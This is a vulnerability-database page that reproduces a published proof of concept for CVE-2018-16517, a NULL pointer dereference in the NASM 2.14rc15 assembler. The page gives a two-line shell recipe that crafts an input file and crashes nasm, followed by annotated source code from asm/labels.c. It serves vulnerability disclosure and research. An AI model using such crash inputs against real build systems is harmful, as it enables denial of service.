Lucene search
K

Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)

🗓️ 18 Apr 2019 00:00:00Reported by Fakhri ZulkifliType 
exploitpack
 exploitpack
👁 36 Views

Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereferenc

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference Exploit
18 Apr 201900:00
zdt
CNVD
Netwide Assembler Null Pointer Dereference Vulnerability
7 Sep 201800:00
cnvd
CVE
CVE-2018-16517
6 Sep 201823:00
cve
Cvelist
CVE-2018-16517
6 Sep 201823:00
cvelist
Debian CVE
CVE-2018-16517
6 Sep 201823:00
debiancve
Exploit DB
Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)
18 Apr 201900:00
exploitdb
EUVD
EUVD-2018-8326
7 Oct 202500:30
euvd
Mageia
Updated nasm packages fix security vulnerability
31 Jul 202023:25
mageia
NVD
CVE-2018-16517
6 Sep 201823:29
nvd
Tenable Nessus
openSUSE Security Update : nasm (openSUSE-2020-952)
20 Jul 202000:00
nessus
Rows per page
# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)
# Date: 2018-09-05
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://www.nasm.us/
# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
# Version: 2.14rc15 and earlier
# Tested on: 2.14rc15
# CVE : CVE-2018-16517

asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.

PoC:
1. echo "equ   push  rax" > poc
2. nasm -f elf poc

insn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().
 
   [...]
    
    if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) {    <-- not taken
        /* there's a label here */
        first = false;
        result->label = tokval.t_charptr;
        i = stdscan(NULL, &tokval);
        if (i == ':') {         /* skip over the optional colon */
            i = stdscan(NULL, &tokval);
        } else if (i == 0) {
            nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,
                  "label alone on a line without a colon might be in error");
        }
        if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {
            /*
             * FIXME: location.segment could be NO_SEG, in which case
             * it is possible we should be passing 'absolute.segment'. Look into this.
             * Work out whether that is *really* what we should be doing.
             * Generally fix things. I think this is right as it is, but
             * am still not certain.
             */
            define_label(result->label,
                         in_absolute ? absolute.segment : location.segment,
                         location.offset, true);
    [...]

static bool islocal(const char *l)
{
    if (tasm_compatible_mode) {
        if (l[0] == '@' && l[1] == '@')
            return true;
    }
    return (l[0] == '.' && l[1] != '.');  <-- boom
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation